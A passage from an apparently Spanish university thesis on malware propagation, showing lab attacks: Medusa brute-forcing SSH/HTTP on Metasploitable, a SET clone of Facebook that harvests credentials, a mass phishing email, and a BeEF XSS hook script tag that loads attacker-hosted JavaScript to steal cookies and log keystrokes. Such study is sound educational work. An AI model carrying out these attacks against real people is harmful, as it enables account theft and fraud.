Processes | Log
Progress = Elapsed Est. Remaining Pid Tool Host Status E
I 0.00s 0.00s [ screenshot (8... 192.168.208.... Finished
DN 12.27s 0.00s 1580 nmap (stage 5) 192.168.208.... Finished
I 4.765 0.00s 1605 ftp-default (2... 192.168.208.... Finished
I 0.00s 0.00s o screenshot (8... 192.168.208.... Finished
I 4.15s 0.00s 1639 nmap (stage 6) 192.168.208.... Finished
I 0.00s 0.00s [ screenshot (8... 192.168.208.... Finished

.. g qterminal

LEGION 0.3.7-1622656779 - untitled - Jusr/share/legion/

Figura 15: Fase de escaneo de vulnerabilidades respecto a la maquina Metasploitable 1 mediante Legion.
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Como podemos observar, hemos obtenido dos puertos mas abiertos con Legion,
estos son los puertos 137 y 3632. Esto se debe a que se utilizan politicas de escaneo
diferentes, es decir, los parametros de configuracién son distintos.

Estado de los diferentes puertos obtenidos:

e Puerto 21, 22, 23, 25, 53, 80, 137, 139, 445, 3306, 3632, 5432, 8009 y 8180:
Abiertos.

De esta forma los puertos obtenidos como abiertos durante la fase de escaneado
mediante Nmap y Legion, son los que podemos emplear para investigar las posibles
vulnerabilidades existentes en sus servicios y lanzar ataques.

3.1.5. Medusa: ataque de fuerza bruta a Metasploitable 1

Tras analizar los servicios de los puertos abiertos vulnerables, llevaremos a cabo
diferentes ataques de fuerza bruta con diferentes servicios.

Los ataques de fuerza bruta como comentabamos se fundamentan y define por
medio de diccionarios de caracteres: palabras, nimeros, caracteres especiales... Que
con el método de ensayo y error son capaces de obtener las credenciales.

Creamos nuestro diccionario “password.txt” de caracteres:

B ~[Desktop/password.txt - Mousepad

File Edit Search View Document Help

[+ [ b C x

1 msfadmin

2 12345

3 contrasena
4 prueba

5 password

Figura 17: Diccionario creado para ataque de fuerza bruta mediante Medusa.

Lanzamos nuestro ataque hacia el servicio SSH, previamente visto que es un
servicio vulnerable, ya que tiene puertos abiertos asignados al servicio SSH (puerto 22).

e -h: el host de la maquina vulnerable Metasploitable 1, 192.168.208.134.

e -u: el usuario al que queremos crackear, msfadmin.

e -P: ruta del diccionario de caracteres con el que queremos realizar el ataque,
/home/Kali/Desktop/password.txt.

e -M: el mdédulo/servicio por el cual queremos realizar el ataque, SSH.

Si ponemos -H y -U podemos establecer una lista de hosts y usuarios para el ataque.
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192.168.208.134 msfadmin /home/kali/Desktop/password.txt ssh

Medusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net>

ACCOUNT CHECK: [ssh] Host: 192.168.208.134 (1 of 1, @ complete) User: msfadmin (1 of 1, @ complete) P

assword: msfadmin (1 of 5 complet
ACCOUNT FOUND: [ssh] Host: 192.168 3.134 User: msfadmin Password: msfadmin [SUCCESS]

Figura 18: Ataque con Medusa con servicio SSH.

Observamos que se completa de forma correcta el ataque de fuerza bruta por
servicio SSH y que la contrasefia para la maquina vulnerable, Metasploitable 1 con IP:
192.168.208.134 y usuario msfadmin es msfadmin.

Lanzamos nuestro ataque hacia el servicio HTTP, previamente visto que es un
servicio vulnerable, ya que tiene puertos abiertos asignados al servicio HTTP (puerto
8180).

e -h: el host de la maquina vulnerable Metasploitable 1, 192.168.208.134.

e -u: el usuario al que queremos crackear, msfadmin.

e -P: ruta del diccionario de caracteres con el que queremos realizar el ataque,
/home/Kali/Desktop/password.txt.

e -M: el mdédulo/servicio por el cual queremos realizar el ataque, HTTP.

Si ponemos -H y -U podemos establecer una lista de hosts y usuarios para el ataque.

192.168.2¢8.134 msfadmin 4 /kali/Desktop/password. txt
Medusa v2.2 [http://wa.foofus.net] (C) JeMo-Kun 4 sfus Networks <jmk@focfus.

ACCOUNT CHECK: [http] Host: 192.168.208.134 (1 of 1, ¢ complete) User: msfadmi

(1 of 5 complete)

] Host: 192.168.20

Figura 19: Ataque con Medusa con servicio HTTP.

Observamos nuevamente, que se completa de forma correcta el ataque de
fuerza bruta por servicio HTTP y que la contrasefia para la maquina vulnerable,
Metasploitable 1 con IP: 192.168.208.134 y usuario msfadmin es msfadmin.

3.1.6. Conclusiones de Medusa

Con ello hemos podido apreciar cdmo mediante con la herramienta Medusa
teniendo la informacion de diferentes equipos (IPs, nombres de usuario) podemos
llevar a cabo el ataque de fuerza bruta por medio de diccionarios de caracteres y de
esta forma conseguir las credenciales de los equipos para poder obrar de la forma que
gueramos con estas.
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Este tipo de informacidon de los equipos lo pueden hacer por técnicas de
ingenieria social o malwares que filtren la informacidn al ciberdelincuente para llevar
a cabo las acciones cibercriminales correspondientes: intentar acceder a los equipos,
vender credenciales...

3.2. Social-Engineering Toolkit (SET): ingenieria social

¢. Social Engineering Toolkit (SET) se trata un framework de
=)
2 open source/cddigo abierto impulsada por Python destinada a las
pruebas de penetracidén de sistemas y redes en torno a la ingenieria
social.

3.2.1. Instrumentos empleados

Entorno virtual: VMWare
Maquina atacante: Kali Linux
Herramientas:

e Social Engineering Toolkit
e Facebook: www.facebook.com
e Gmail

e Correo temporal: https://correotemporal.org

3.2.2. Puesta en escena de SET

Para el despliegue de la herramienta SET, hemos optado por lanzarla en entorno
virtual. También se han hecho uso de herramientas como son Gmail, Facebook y correo
temporal; todo ello se encuentra de forma online en el navegador.

Cabe destacar que SET tiene una serie de herramientas para realizar ataques
personalizados que nos permitiran realizar un ataque de manera rapida y efectiva.

En esta puesta en escena se llevaran a cabo diferentes tipos de ataques: webs
con la suplantacién de paginas webs y mails con creacién de campaias de physing.

32


http://www.facebook.com/
https://correotemporal.org/

Victor Pablo Prado Sanchez Estudio e investigacion de propagacion de malware

3.2.3. SET: el entorno

Nos descargamos la herramienta de Social Engineering Toolkit (SET), la lanzamos
y vemos en la shell informacion importante; donde nos muestra las opciones disponibles
dentro de esta.

File Actions Edit View Help

Trash

File System

correos.txt

Figura 20 : Opciones disponibles dentro de la herramienta SET.

Como podemos observar, hay diferentes formas de lanzar SET: ataques de
ingenieria social, pruebas de penetracién (via rapida) y modulos de terceros.

3.2.4. Suplantacion de paginas webs

Tras el anadlisis en profundidad, hemos analizado, que una de las mejores
opciones que nos ofrece SET, se trata del clonado de péaginas web, provocando de esta
forma la suplantacion de diversos dominios oficiales.

Por medio de este método dentro de la ingenieria social, los ciberdelincuentes
son capaces de usurpar credenciales, datos bancarios, informacién personal... Es decir,
informacidn critica de la victima.
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Elegimos en el menu la opcién 1 de Social-Engineering Attacks, es decir, ataques
de ingenieria social.

root @kali: ~

Flle Actions Edit View Help

Figura 21: Eleccion de opcion 1 en el menu principal, Social-Engineering Attacks.

Ahora bien, optamos por la opcidn 2, opcién de Website Attack Vectors, que hace
referencia a de vectores de ataque web.

root @kali: ~
Flle Actions Edit View Help

Figura 22: Eleccion de opcion 2 en el menu de Social-Engineering Attacks; Website Attack Vectors.
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Tenemos diferentes opciones dentro de los vectores de ataques web. Nosotros
optaremos por la opcion 3, Credential Harvester Attack Web; es decir, método de
ataque de recoleccién de credenciales.

root @kali: ~

File Actions Edit View Help
yrder 1o compromis

ava Applet Attack m 1 Certi r sed payload.
d by T Werth ¢ ot 4
The Metasploit Browser Exploit method

yload.

Ihe Credential Harvester metf ill utilize web cloning of a web- site that has a user
nformation post

¢ TabNabbing me

Web-Jacking Attack met

e Multi-Attack m

g all at onc

and perform ell injection through

Figura 23: Eleccidn de opcion 3 en el menu de Website Attack Vectors; Credential Harvester Attack Web.

De forma siguiente, llevaremos a cabo la opcion 2, la que se refiere al clonado de
paginas webs, site cloner.

Flle Actions Edit View Help

Met

Figura 24: Eleccidn de opcion 2 en el menu de Credential Harvester Attack Web; Site Cloner.
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Lo siguiente es llevar a cabo el clonado de web, esto se realiza dentro de nuestra
red, dentro de la IP: 192.168.208.128, o lo que es lo mismo, crear nuestro clonado
dentro de la red local.

root @kali: ~

) IS BEFORE ENTERING IN THE I

Figura 25: Configuracion de clonado web dentro de nuestra red local.

Podriamos crear nuestro clonado web fuera de nuestra red local con el uso del
servicio ngrok; este nos permite crear nuestro servidor local en un subdominio, donde
esta forma todo el mundo pueda acceder a él via internet fuera de la LAN.

Llevaremos a cabo el clonado de Facebook (www.facebook.com), para ello,
insertaremos su dominio publico y llevaremos a cabo su clonacién en nuestra red.

root @kali: ~

Flle Actions Edit View Help

Credential ha

Figura 26: Clonado de Facebook en SET.
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Accedemos al clonado de Facebook por medio de nuestra IP: en nuestro equipo
local fuera del entorno virtual.

torPa X SOCIAL ENGINEERING - OneDri. X () Iniciar sesion en Facebool

192.168.208.128

i Apicaciones [l UAH [l Master [l VIP Deportivo s @ B @ Movi W MGA @ Discord

facebook .
Iniciar sesion en Facebook ®
2
> |
@
« 0
- i ‘-“‘
B

Figura 27: Acceso al clonado de Facebook en nuestra red local.

Como podemos observar en la imagen superior, la pagina web es
completamente idéntica a la oficial de Facebook y no nos deja ninguna anomalia
aparentemente. Aunque podemos observar que es un sitio no seguro, ya que no tiene
un certificado valido.

La victima podria caer en este ataque de ingenieria social e introduciria sus
credenciales de Facebook. Suponemos este caso.

SOCIAL ENGINEERING - OneDriv X

it Apicociones [ UAH [ Mister [l VIP Deportvo e ® |
facebook .
o
Iniciar sesion en Facebook
9
prueba_tfg@gmail.com
w
........ @ o)
L O
q
+ une
)

Figura 28: Insercion de credenciales en el clonado web de Facebook.
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Una vez rellenados los campos de credenciales y enviados, el clonado de la
pagina de Facebook, nos redirige a la pagina principal y oficial de este; de esta forma, se

evitan el mero hecho de sospecha, aunque si es cierto, que deben rellenar de nuevo sus
credenciales de acceso.

o Correo: Prado Sanchez Victor Pa' X

SOCIAL ENGINEERING - OneDriv X ’_f) Facebook

- X # facebookcom

;i Aplicaciones | UAH R Master | VIP Deportivo 8BS ® B @ Movii ™M MEGA @ Discord  in Linkedin

Figura 29: Redireccion a la pdgina oficial de Facebook tras el envio de credenciales.

A su vez, al mismo tiempo que a la victima le redirige a la pagina oficial,
atacante, le llegan los campos rellenados con las credenciales.

root @kali: ~
File Actions Edit View Help

Figura 30: Captura de credenciales en SET.

Por ultimo, vemos cémo la herramienta SET captura los datos de las credenciales
insertadas en la pagina clonada:

e Usuario: email prueba tfg@gmail.com
e Contrasefa: 12345TFG

Credenciales inventadas por el mero hecho de hacer prueba de robo de estas
mediante clonado web.

Con ello concluiriamos con éxito la clonacidn, y de este modo, suplantacion de
paginas web con el robo de credenciales.
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3.2.5. Creacidn de campafias de physing

Tras el andlisis en profundidad, hemos analizado, que otra de las mejores
opciones que nos ofrece SET, se trata del envio fraudulente de correos electrénicos.

Por medio de este método dentro de la ingenieria social, los ciberdelincuentes
son capaces de usurpar credenciales, datos bancarios, informacion personal... Es decir,
informacidn critica de la victima.

Elegimos en el menu la opcidn 1 de Social-Engineering Attacks, es decir, ataques
de ingenieria social.

Dentro de esta, optamos por la opcion 5, opcidon de Mass Mailer Attact, que hace
referencia a multiples ataques de email.

root @kali; ~

File Actions Edit View Help

Figura 31: Eleccion de opcion 2 en el menu de Social-Engineering Attacks; Mass Mailer Attact.

A continuacidn, seleccionaremos la opcion 2, opcidn de ataque masivo.

Figura 32: Eleccion de opcion 2 en el menu de Mass Mailer Attact; E-Mail Attack Mass Mailer.
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Tras ello, SET nos solicitard una lista con los multiples correos a los que les
gueremos lanzar la campanfa de phishing. Por ello, creamos previamente una lista que
contenga ciertos correos.

Para hacer la prueba del envio de estos correos, creamos un correo temporal y
en la lista de correos pondremos el mismo correo.

n O ®

mail personal de SPAM utiliza correo temporal gratu Madrid-Gran Canaria Madrd Malta

Desde 40 € Desde 37 €

& Tu email temporal

pbeierg_I347u@vixej.com
A O RS s (S EXPRESS &

& Tus mensajes recibidos

Remitente Acciones

Figura 33: Empelamos correotemporal.org para el uso de correos temporales.

Por medio de este correo temporal, crearemos la lista de X correos a los que
crear el atague. Haremos la lista poniendo un total de diez veces el mismo correo
pbeierg 1347u@vixej.com para de esta forma simular varios correos diferentes.

La Unica diferencia es que, en vez de llegar los correos a diferentes destinatarios,
llegard el mismo mensaje diez veces al mismo.

~{Desktopfcorreos.txt - Mousepad

Document Help

10 pbeierg_13

Figura 34: Lista de correos a los que lanzar ataque con SET.
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Por ello, afiadimos la ruta con Ila lista de correos victimas
/home/Kali/Desktop/correos.txt

emailer will allow you to send emails to multiple
. | nple, 1t will |
Look like the following:

Figura 35: Afiadimos el Path de la lista de correos victimas a los que lanzaremos el ataque.

La configuracién que hemos de realizar en nuestro correo de atacante con el que
enviemos los mensajes es la siguiente. Debemos activar el acceso de aplicaciones poco
seguras.

@ 2 dispo 4
EY |
© Dstosy privacidad 2]
a % -
Acceso de aplicaciones poco seguras N\
‘ plcacion |
-
® Saionel Activad
De
Iniciar sesion en otros sitios web ®
~ No util > e i rody m
q Iniciar sesion con Google R ey > 0
%%| Gestor de contrasefias ar se f t y las > 1

& mouse pointer outside or press Ctri+ Alt

Figura 36: Activamos acceso de aplicaciones poco seguras a nuestro correo de atacante.
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Seleccionamos la opcién 1 e3 usar nuestra cuenta Gmail para lanzar el ataque.
En el caso de tener un dominio propio escogeriamos la opciéon de nuestro propio
servidor.

Adjuntamos nuestra cuenta de Gmail con la que lanzamos el ataque:
vpps.tfg@gmail.com.

Anadimos el nombre que queremos que le salga a nuestra victima como
remitente: MANUEL SANCHEZ.

Establecemos el mensaje como de alta prioridad/high priority. Ademas,
podriamos adjuntar un fichero como adjunto o dentro del cuerpo de mensaje; esta
opcion serviria a un ciberdelincuente para afiadir un malware y propagarlo cuando el
usuario se lo descargase.

Insertamos el asunto del mensaje: jiIMPORTANTE!! VERIFICACION DE DATOS
PERSONALES.

SET nos ofrece la opcidn de poder configurar el cuerpo del mensaje mediante
texto plano o con html. La opcidon de html sirve para poder afiadir estilos por css para
hacer de forma visual mucho mas creible el mensaje, de esta forma se puede llegar a
clonar el estilo de mensajes de corporaciones oficiales.

Optamos por texto plano e insertamos nuestro mensaje para intentar que la
victima nos adjunte sus credenciales.

this mes
h a fil

buenas,
on de

Un saludo.
END
1 to addr
to addr
to addr
to addr
to addr
to add
to

Figura 37: Creacion t configuracion del mail en SET.

Como vemos cuando insertamos en el texto plano END, finaliza la configuracidn
y SET se pone a realizar los envios de los mails con los destinatarios establecidos en la
lista de correos de victimas.
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Por ultimo, podemos ver cdmo llegan un total de diez veces los correos a nuestra

victima con toda la configuracién realizada anteriormente.

Asunto Remitente Fecha Acciones
jiIMPORTANTE! VERIFICACION DATOS PERSONALES MANUEL SANCHEZ o liedrekd
<vpps.tfg@gmail.com> 3:55:45 pm
jilMPORTANTE! VERIFICACION DATOS PERSONALES MANUEL SANCHEZ Dé]DZJZDZZ
<vpps.tfg@gmail.com> 3:55:43 pm
jiIMPORTANTE! VERIFICACION DATOS PERSONALES RN TeLehTe il ik
<vpps.tfg@gmail.com> 3:55:40 pm
jiIMPORTANTE! VERIFICACION DATOS PERSONALES MANUEL SANCHEZ o {Cebi ]
<vpps.tfg@gmail.com> 3:55:38 pm
jilMPORTANTE! VERIFICACION DATOS PERSONALES MANUEL SANCHEZ otk
<vpps.tfg@gmail.com> 3:55:37 pm
jilMPORTANTE! VERIFICACION DATOS PERSONALES LI LSL Rz 0§]02I2022
<vpps.tfg@gmail.com> 3:55:34 pm
jiIMPORTANTE! VERIFICACION DATOS PERSONALES MANUEL SANCHEZ itk
<vpps.tfg@gmail.com> 3:55:32 pm
. MANUEL SANCHEZ 06/02/2022
jiIMPORTANTE! VERIFICACION DATOS PERSONALES o
<vpps.tfg@gmail.com> 3:55:31 pm
- MANUEL SANCHEZ 06/02/2022
jilMPORTANTEN VERIFICACION DATOS PERSONALES sy
<vpps.tfg@gmail.com=> 3:55:29 pm
jiIMPORTANTE! VERIFICACION DATOS PERSONALES RN TeLehTe il iy
<vpps.tfg@gmail.com> 3:55:26 pm
Tiene un nuevo mensaje CorreoTemporal.org

Figura 38: Verificacion de éxito de la camparfia de phishing creada con SET.

Accedemos a uno de los mensajes y comprobamos el cuerpo de texto.

Para: pbeierg_I347u@vixej.com

profesionalhosting.com

» Correo hosting

Hola buenas,

Un saludo.

Adjuntos:

No hay archivos adjuntos en este mensaje.

Remitente: MANUEL SANCHEZ <vpps.tfgi@gmail.com>

jiIMPORTANTE! VERIFICACION DATOS PERSONALES

ABRIR

necesitamos urgentemente sus datos personales para la actualizacidn de su perfil corperative.

Figura 39: Cuerpo de mensaje de la campaia de phishing creada con SET.
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3.2.6. Conclusiones de Social-Engineering Toolkit (SET)

Mediante el uso de la herramienta de SET hemos visto bastantes métodos de
ingenieria social con la cual los cibercriminales pueden llevar a cabo diferentes
campandas, para llegar a adquirir informacion valiosa con la cual puedan obtener
beneficios econdmicos, en su gran parte.

Hemos la elaboracidn del clonado y suplantacién de una pagina web donde un
cibercriminal puede obtener credenciales de usuarios.

Por otro lado, una campaina de phishing, un cibercriminal compraria un
dominio muy parecido a la compaiiia a la que se quiere hacerse pasar. Por ejemplo, si
queremos estafar por medio de La Caixa, su dominio oficial es xxxx@caixabank.com,
se podria comprar xxxx@caixabanc.com y la gente podria caer por medio de sugestion.

Ademas, para estas campanas de phishing los cuerpos de textos estan muy bien
disefiados y perfeccionados para que la victima no sospeche nada anémalo.

También es cierto, que se podria redirigir en esta campafia a un clonado y
suplantacion de una compaiiia, La Caixa y robar sus credenciales. O bien, adjuntar un
malware (virus, troyano o spyware) para robar informacion. Incluso se pueden dar
ambas casuisticas.

3.3. The Browser Exploitation Framework (Beef-Xss): ataque web

The Browser Exploitation Framework (Beef-Xss) se trata de un
framework que examina la vulnerabilidad (prueba de penetracién)
dentro del contexto de la Unica puerta abierta: el navegador web.

3.3.1. Instrumentos empleados

Entorno virtual: VMWare
Maquina atacante: Kali Linux
Mdquina vulnerable: Windows 10
Herramientas:

e The Browser Exploitation Framework (Beef-Xss)
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3.3.2. Puesta en escena de Beef-Xss

Para el despliegue de la herramienta Beef-Xss, hemos optado por lanzarla en
entorno virtual. También se ha hecho uso del equipo habitual para aparentar la victima.

La herramienta sirve para automatizar ataques XSS contra aplicaciones webs
vulnerables por medio de payloads que este contiene. A su vez, los XSS es una
vulnerabilidad la cual permite a un atacante inyectar en una web cédigo malicioso del
lado del cliente.

3.3.3. Beef-Xss: el entorno

Nos descargamos la herramienta de Beef-XSS, la lanzamos y vemos en la Shell
informacién importante; donde nos muestra un ejemplo de cdmo explotar la
vulnerabilidad XSS afiadiendo el archivo hook.js a la extension del hipervinculo.

root@kali: ~
File Actions Edit View Help
@ ~

[i] GeoIP database is missing

[i] Run geoipupdate to download / update Maxmind GeoIP database

[*] Please wait for the BeEF service to start.

[*]

[*] You might need to refresh your browser once it opens.

[*]

[*] Web UI: http://127.0.0.1:3000/ui/panel
<script src="http://<IP>:3000/hook.js"></script>
script src="http://127.0.0.1:3000/hook.js"></script>

ce - beef-xss
ded (/lib/systemd/system/beef-xss.service; disabled; vendor preset: disabled)
ctive (running) since Sun 2022-02-13 12:41:47 EST; 5s ago
479 (ruby)
(limit: 2285)
1.5M
614s
/system.slice/beef-xss.service
L1479 ruby /usr/share/beef-xss/beef

Feb 13 12:41:47 kali systemd[1]: Started beef-xss.
[*] Opening Web UI (http://127.0.0.1:3000/ui/panel) in: 5... 4... 3...

® ~

Figura 40: Opciones disponibles dentro de la herramienta Beef-XSS.
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Ademas, se nos abre el framework de la herramienta donde las credenciales son
beef para ambas, es decir, para user y password.

—eEF

Authentcation

Usermame: bet|

Password:

Figura 41: Framework de Beef-XSS.

Cabe destacar que la herramienta ofrece dos tipos de webs vulnerables
diferentes, una mas sencilla y otra mas avanzada.

3.3.4. Beef-Xss: lanzamiento

A la hora del despliegue de la herramienta, en la Shell con la linea de comandos,
vemos diferentes caracteristicas para tener en cuenta.

File Actions Edit View Help

Figura 42: Linea de comandos de Beef-Xss tras el lanzamiento.
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Observamos que se encuentra ubicado en el puerto 3000 y hace uso del
protocolo TCP (Protocolo de control de transmisidn). Ademads, nos muestra un ejemplo
de cdmo explotar la vulnerabilidad XSS afiadiendo el archivo hook.js a la extensién del
hipervinculo, al igual que al inicio de la herramienta.

n O ®

¥ BeEF 0530 | Subed B | Loos

Figura 43: Framework de Beef-XSS una vez con el inicio de sesion completado.

Antes que nada, hay que recordar que tenemos dos opciones en la herramienta
para “jugar”, una version sencilla y una versién mas compleja. Nosotros llevaremos a

cabo el andlisis por medio de la versidon compleja, que incorpora las funcionalidades de
la sencilla y afiade otras mas.

n @O ®

L.

You houd be hookad mto BeEF

whiie your browser i woring against you

HRFFS comemand moduke

Have & g0 1 e event logger. Insent your secret here:

You Can 850 1083 UP & MOKe BAVAN0ES JEMO PagE

Figura 44: Vista de la version sencilla de Beef-XSS: hipervinculos y cuadro de texto.
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La opcién avanzada tiene las mismas opciones y por lo tanto vulnerabilidades
gue la opcion sencilla en la vista Our Meaty Friends: hipervinculos.

Weilcome to The Butcher, your source of delicious
meats. Please feel free to view our samples, sign up
to our mailing-list or purchase our special BeEF-
hamper!

Our Meaty Friends Order Your BeEF-Hamper

» The Browser Explostation Framework Project homepage
* BeEF Wiki

 Slashdot

3

Figura 45: Vista de Our Meaty Friends en la version avanzada de Beef-XSS: hipervinculos.

Luego en la otra vista: Order Your BeEF-Hamper, tenemos diferentes campos a
rellenar por el usuario. Desde credenciales, hasta datos de informacidon personal
(teléfono, domicilio...).

n QO ®

Welcome to The Butcher, your source of delicious
meats. Please feel free to view our samples, sign up
to our mailing-list or purchase our special BeEF-
hamper!

Our Meaty Friends Order Your BekF-Hamper

Delicious deficious hamper, straight 1o your door!

Name.

Phone: \ |

Address |

Credit Card i
Buy buy!

Sign up to our mading list for delicious meats delivered straight to
your inbox!

E-mail
Password: eees
Sign Up!

Figura 46: Vista de Order Your BeEF-Hamper en la version avanzada de Beef-XSS: campos de texto.
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No obstante, cabe mencionar los tipos de comandos que se pueden realizar una
vez la victima acceda a la web inyectada; estos se podran lanzar o no dependido del tipo
de equipo de la victima y vulnerabilidades encontradas en ellos.

Beef-XSS nos ayuda con esto de forma muy visual, ya que remarca los comandos
con colores:

e VERDE: comando vulnerable ante el objetivo y este no se entera, es
invisible para él.

e NARANIJA: comando vulnerable ante el objetivo y este puede enterar o
no, ya que puede ser invisible.

o : comando indeterminado ya que no se ha verificado ante el
objetivo.

e ROJO: comando no vulnerable, no funciona ante objetivo.

De esta forma, llevaremos a cabo la opcion compleja de Beef-XSS a través de
nuestro equipo y navegador habitual. Por ello, abrimos en nuestro navegador de nuestro
equipo habitual, simulando ser la victima, el hipervinculo precedido anteriormente por
la IP indicada.

Welcome to The Butcher, your source of
delicious meats. Please feel free to view our
samples, sign up to our mailing-list or purchase
our special BeEF-hamper!

Our Meaty Frends  Order Your BeEF-Hamper

Figura 47: Beef-XSS opcion avanzada desde equipo local.

Una vez conectados, se nos activara el equipo en el framework de de Beef-XSS.

455 192.168.208.128
& B 71971682081

Figura 48: Conexidn realizada en Beef-XSS.
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También la herramienta nos ofrece un mapa de conexidn para que podamos
observar el esquema de lo que estd ocurriendo en la conexién. Donde observamos:

e Lavictima, Windows 10 con IP: 192.168.208.1.

e Sistema de enrutamiento 192.0.0.0/8 por medio de hook.js; tras el
enrutamiento se nos redirige a Hooked Browser/navegador
enganchado.

e Hooked Browser/navegador que se controla mediante la aplicacion de
BeEF, el atacante.

192.168.208.1
Windows-10
|

N
i
s
19310,0.0/8

oo @

Hooked Browser
Figura 49: Mapa de redes tras conexion en Beef-XSS.

Conectados al usuario, estableciéndolo como zombie, es decir, podremos
interactuar con él sin que se dé cuenta, obtenemos diferente informacién destacada por
medio de los detalles:

01:28PM O #) A

BeEF Control Panel - Mozilla Firefox

# BeEF 0530 | Swmt Bug | Looout

Hooked Browsers

Geting Started E mbes Current Brow:
43 Online Browsers
255192 168.208.428 Detaits || Logs || Commands | Proxy | XssRays || Network
® M= ? 1921682081 Key~ Value
43 Offine Browsers — -
453127001 Unknown
@ D % 2127001 No
1536
864
2
unknoun

Gaagle Inc. (ntel)

ANGLE (Inte!, Inte{(R) HD Graphics 620 Direct3D11 vs_5_0 ps_5_0, D3D11-24.20.100.6344)
4

x86_64

unknown
hitp:1/12.168.208.128:3000/demos/butcherfindex: i
The Butcher

1462

762

Unknown

hitp://192.168.208.128:3000

3000

192.168.208.128

i
PDF Viewer, Chrome PDF Viewer,Chromium PDF Viewer Microsoft Edge PDF Viewer,WebkKit builtin PDF

Merzillaf5.0 (Windows NT 10.0; Win6d; ¥64) AppleWebKIS37. 36 (KHTML, like Gecko) Chrome/S8.0.4756.52 Safari537.36
Chrome
c

esis
Bink
Sun Feb 13 2022 1908:48 GMT=0100 de Europa central)
No
Yes
browisercapabiites websocket ves
Basic | Requester Page 1oi2| b M| & Displaying zombie browser detaifs 1 - 50 of SO

Figura 50: Detalles encontrados en la victima en Beef-XSS.
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Podemos observar que nos captura muchas caracteristicas del equipo de la
victima: dimensiones pantalla, caracteristicas de la GPU, caracteristicas de la CPU,
hostname, cookies, plugins, el dia de la captura...

En el apartado de los logs, recogeremos todas la informacién y actividad que
nuestra victima realice en la pagina. Ya sea clicks, redirecciones o recogida de datos.

rmPRE- (][] ® BeEF Control Panel - Mo.. g qterminal 0129PM O 4 A BI%| & G

o BeEF Control Panel - Mozilla Firefox

BeEF Control Panel x +
<« ¢ @ 0 ® 127.001 n @ ®

# Beck 0530 | Submt Bug | Looout
it e 4 Getting Started Logs Zombies Current Browser
4 {3 Online Browsers
4 53192168708.128 Details || Logs || Commands || Prowy || XssRays || Network
® M= 7 1521682081 W Tye Event Date Browser ID

45 0imine Browsers &6 0,068 - [Blu] Browser window has st focus, 2022.02-13 18:24:47 UTC s
< ;’ “3“ . R 667 15,495 - [Form Submied] Action: index.him - Method: GET - Values: »fom 2022.02-13 182442 UTC 5
666 15.496s - [Console] log: [2022-02-13 19: form inputs: DI 2022-02-1318:24:42 UTC 5

665 15,4915 - [Mouse Cick] x: 374 y:621 > input 20220213 18:24:42 UTC 5

664 14.230s - [User Typed] DEF 2022-02-13 18:24:41 UTC 5

653 13.2255 - [User Typed] ABC 20220213 18:26:40 UTC s

662 11.188s - [User Typed] es. 2022-02-1318:24:38 UTC 5

o1 10,166 - [User Typed] o 2022.02.13 18:24:37 UTC s

660 9.141s - [User Typed] it 2022-02-13 18:24:36 UTC 5

=) 81115 - [User Typed] @pep 2022.02-1318:24:35 UTC s

658 6.070s - [User Typed] ps99 2022-02-13 18:24:33 UTC 5

657 5.051s - [User Typed] vp 2022-02-1318:24:32 UTC 5

656 3.424s - [Mouse Click] x: 504 y:567 > input (yourname) 2022-02-13 18:24:31 UTC. 5

= 2.6595 - Mouse Cick] x: 650 557 > divéhamper 2022.02-1318:24:30 UTC s

654 1.754s - [Mouse Click] x. 469 y:564 > input (yourname) 2022-02-13 18:24:29 UTC 5

= 10,5675 - Mouse Ciick] x: 569 y:319 > bution 2022.02-13 18:24:28 UTC s

652 24,3225 - [Form Submited] "Action: index.htmi - Method: GET - Values: g  address=C/ i, > form 20220213 18:24:24 UTC s

651 24.323s - [Console] log: [2022-02-13 19: form inputs: g = ddress=C/ buy! 2022-02-1318:24:24 UTC 5

=) 23185 - [Mouse Cick] x: 380 y:489 > input 2022.02.13 18:24:24 UTC s

619 23185 - [Mouse Cick] x. 689 y:389 > divihamper 20220213 18:24:23 UTC 5

o5 222145 - [User Typed] 876 2022.02.13 18:24:22 UTC s

647 21.205s - [User Typed] 9 2022-02-13 18:24:21 UTC 5

846 19.191s - [User Typed] fg 2022-02-13 18:24:19 UTC 5

645 18.172s - [User Typed] t 2022-02-13 18:24:18 UTC. 5

644 17.159s - [User Typed] / 2022-02-1318:24:17 UTC 5

643 16.154s - [User Typed] C 2022-02-13 18:24:16 UTC 5

642 15.142s - [User Typed) 2345 2022-02-13 18:24:15 UTC 5

641 14.122s - [User Typed] 1 2022-02-13 18:24:14 UTC 5

840 12.109s - [User Typed] or 2022-02-1318:24:12 UTC 5

= 11,0955 - [User Typed] ict 20220213 18:24:11 UTC s

Basic || Requester Page| 1lof6| b M| Displaying logs 1 - 30 o 157

Figura 51: Funcionamiento logs en Beef-XSS.

Ahora bien, iremos a la funcionalidad que mas juego da, los comandos, que como
explicamos previamente, pueden explotar la vulnerabilidad dependiendo del equipo de
la victima.

BeEF Control Panel - Mozila Firefox

¥ BeEr 0530 | Subnit Bug | Lovaut
Cumrent Browser

Commands

Module Tree Moaute Resuits History
45 0mne Browsers
43127001

@)% 7127001

g due et

Desect Windows Mecia P
Frgepert Brows
Py Souna

Vietcam
Vieteam Pom

Gt viseed URt
Spyder Ty
Desnct Pogup Bockor

JChn

) Debeg ()

Figura 52: Interfaz comando en Beef-XSS.
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Hemos llevado a cabo miltiples comandos y nos hemos quedado con los
siguientes para mostrar su buen funcionamiento:

e Obtener cookies.
Un ciberdelincuente puede obtener a través de las cookies, informacion

privada de la victima, asi como datos de tarjetas de crédito, detalles de inicio
de sesion...

Module Results History Command results

id »  date label 1 Sun Feb 13 2022 13-10:55 GMT-0500 (Eastern Standard Time)
data: cookie=BEEFHOOK=2IgCxEZGXmom3rz41BYv4|LEmAVC7dWwaHNMcWQyQwir DfyBuFaVI9kw3VTRysBRY 2t TAEWEDCLGD
o 2022-02-1313:10  command 1

Figura 53: Comando get cookie en Beef-XSS.

e Obtener links de la pagina.

Obtenemos los diferentes links de la pagina, asi podemos observar a dénde
nos llevan los hipervinculos de la web.

Module Results History Command results

id »  date label i Sun Feb 13 2022 13:11:19 GMT-0500 (Eastern Standard Time)
data: links=https://beefproject. com/ hitps:/fgithub.com/beefproject/beefiwiki. hitp://browserhacker.com/ hitps:/islashdot.org/
1] 2022-02-1313:11  command 1

Figura 54: Comando get page HREFs en Beef-XSS.

e Obtener cédigo HTML (ademas en lo destacado, podemos ver cémo
intermediar y explotar la vulnerabilidad XSS).
Con ello podriamos insertar en el cédigo HTML diversos scripts o malware
para infectar al usuario.

Module Results History Command results .

